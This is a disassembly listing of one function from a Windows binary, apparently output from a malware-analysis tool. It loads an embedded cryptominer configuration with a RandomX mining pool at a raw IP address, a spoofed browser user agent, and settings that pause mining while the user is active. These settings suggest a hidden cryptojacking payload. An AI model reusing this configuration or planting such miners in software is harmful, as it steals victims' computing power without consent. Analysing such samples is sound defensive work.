Function at 0x180021680
Capabilities:
Reference http user-agent string

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xa0
mov rax, qword [0x1804be628]
xor rax, rsp
mov qword [rbp + 0x47], rax
mov rbx, rcx
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
xor esi, esi
mov word [rbp - 0xb], si
movdqa xmmword [rbp - 9], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 7], xmm1
movdqa xmmword [rbp + 0x17], xmm0
mov qword [rbp + 0x27], rsi
mov qword [rbp + 0x2f], 0x400
mov dword [rbp + 0x37], esi
mov qword [rbp + 0x3f], rsi
lea ecx, [rsi + 0x18]
call fcn.18031edd0
mov qword [rbp - 0x29], rax
mov rcx, rax
call fcn.180022a20
nop
mov qword [rbp - 9], rax
mov qword [rbp - 1], rax
lea rax, str._n_n_____api_:__n_________id_:_null__n_________worker_id_:_null_n______n_____http_:__n_________enabled_:_false__n_________host_:__127.0.0.1___n_________port_:_0__n_________access_token_:_null__n_________restricted_:_true_n______n_____autosave_:_false__n_____background_:_false__n_____colors_:_true__n_____title_:_true__n_____randomx_:__n_________init_:__1__n_________init_avx2_:__1__n_________mode_:__auto___n_________1gb_pages_:_false__n_________rdmsr_:_true__n_________wrmsr_:_true__n_________cache_qos_:_false__n_________numa_:_true__n_________scratchpad_prefetch_mode_:_1_n______n_____cpu_:__n_________enabled_:_true__n_________huge_pages_:_true__n_________huge_pages_jit_:_false__n_________hw_aes_:_null__n_________priority_:_null__n_________memory_pool_:_false__n_________yield_:_true__n_________max_threads_hint_:_90__n_________asm_:_true__n_________argon2_impl_:_null__n_________cn_0_:_false__n_________cn_lite_0_:_false_n______n_____opencl_:__n_________enabled_:_false__n_________cache_:_true__n_________loader_:_null__n_________platform_:__AMD___n_________adl_:_true__n_________cn_0_:_false__n_________cn_lite_0_:_false_n______n_____cuda_:__n_________enabled_:_false__n_________loader_:_null__n_________nvml_:_true__n_________cn_0_:_false__n_________cn_lite_0_:_false_n______n_____donate_level_:_1__n_____donate_over_proxy_:_1__n_____log_file_:_null__n_____pools_:___n_________n_____________url_:__87.120.117.189:443___n_____________tls_:_true__n_________n_______n_____print_time_:_60__n_____health_print_time_:_60__n_____dmi_:_true__n_____retries_:_5__n_____retry_pause_:_5__n_____syslog_:_null__n_____tls_:__n_________enabled_:_true__n_________protocols_:_null__n_________cert_:_null__n_________cert_key_:_null__n_________ciphers_:_null__n_________ciphersuites_:_null__n_________dhparam_:_null_n______n_____user_agent_:__Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_121.0.0.0_Safari_537.36___n_____verbose_:_0__n_____watch_:_false__n_____pause_on_battery_:_false__n_____pause_on_active_:_true_n_n
mov qword [rbp - 0x29], rax
mov qword [rbp - 0x21], rax
lea rdx, [rbp - 0x29]
lea rcx, [rbp - 0x19]
call fcn.1800231a0
cmp dword [rbp + 0x37], esi
jne 0x1800217de
cmp word [rbp - 0xb], 3
jne 0x1800217de
cmp dword [rbp - 0x19], esi
je 0x1800217de
lea rcx, [rbx + 8]
mov rdx, qword [rcx + 8]
cmp rdx, qword [rcx + 0x10]
je 0x1800217d0
movaps xmm0, xmmword [rbp - 0x19]
movups xmmword [rdx], xmm0
mov word [rbp - 0xb], si
mov rax, qword [rbp - 9]
mov qword [rdx + 0x10], rax
mov rax, qword [rbp - 1]
mov qword [rdx + 0x18], rax
mov rax, qword [rbp + 7]
mov qword [rdx + 0x20], rax
mov rax, qword [rbp + 0xf]
mov qword [rdx + 0x28], rax
mov rax, qword [rbp + 0x17]
mov qword [rdx + 0x30], rax
mov rax, qword [rbp + 0x1f]
mov qword [rdx + 0x38], rax
mov rax, qword [rbp + 0x27]
mov qword [rdx + 0x40], rax
mov rax, qword [rbp + 0x2f]
mov qword [rdx + 0x48], rax
xorps xmm0, xmm0
movdqa xmmword [rbp + 7], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x17], xmm1
mov qword [rbp + 0x27], rsi
mov qword [rbp + 0x2f], rsi
movaps xmm0, xmmword [rbp + 0x37]
movups xmmword [rdx + 0x50], xmm0
movdqa xmmword [rbp - 9], xmm1
mov dword [rbp - 0x29], esi
mov qword [rbp - 0x21], rsi
movups xmm0, xmmword [rbp - 0x29]
movaps xmmword [rbp + 0x37], xmm0
add qword [rcx + 8], 0x60
mov dil, 1
jmp 0x1800217e1
lea r8, [rbp - 0x19]
call fcn.180022e00
mov dil, 1
jmp 0x1800217e1
xor dil, dil
mov rbx, qword [rbp - 1]
test rbx, rbx
je 0x180021870
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
mov word [rbp - 0xb], si
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x180021863
mov rax, qword [rcx + 0x10]
cmp rax, 1
jbe 0x180021815
dec rax
mov qword [rcx + 0x10], rax
jmp 0x180021863
mov rax, qword [rcx]
mov rdx, qword [rax + 0x10]
test rdx, rdx
je 0x18002183c
mov qword [rcx], rdx
mov rcx, rax
call fcn.18032a77c
mov rcx, qword [rbx + 0x10]
mov rax, qword [rcx]
mov rdx, qword [rax + 0x10]
test rdx, rdx
jne 0x180021821
mov rax, qword [rcx]
mov qword [rax + 8], rsi
mov rcx, qword [rbx + 0x10]
mov rsi, qword [rcx + 8]
cmp byte [rcx + 0x18], 0
je 0x180021856
call fcn.18032a77c
mov edx, 1
mov rcx, rsi
call fcn.18031ee0c
mov edx, 0x18
mov rcx, rbx
call fcn.18031ee0c
mov rcx, qword [rbp + 0x17]
call fcn.18032a77c
mov edx, 1
mov rcx, qword [rbp + 0xf]
call fcn.18031ee0c
movzx eax, dil
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.18031edb0
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret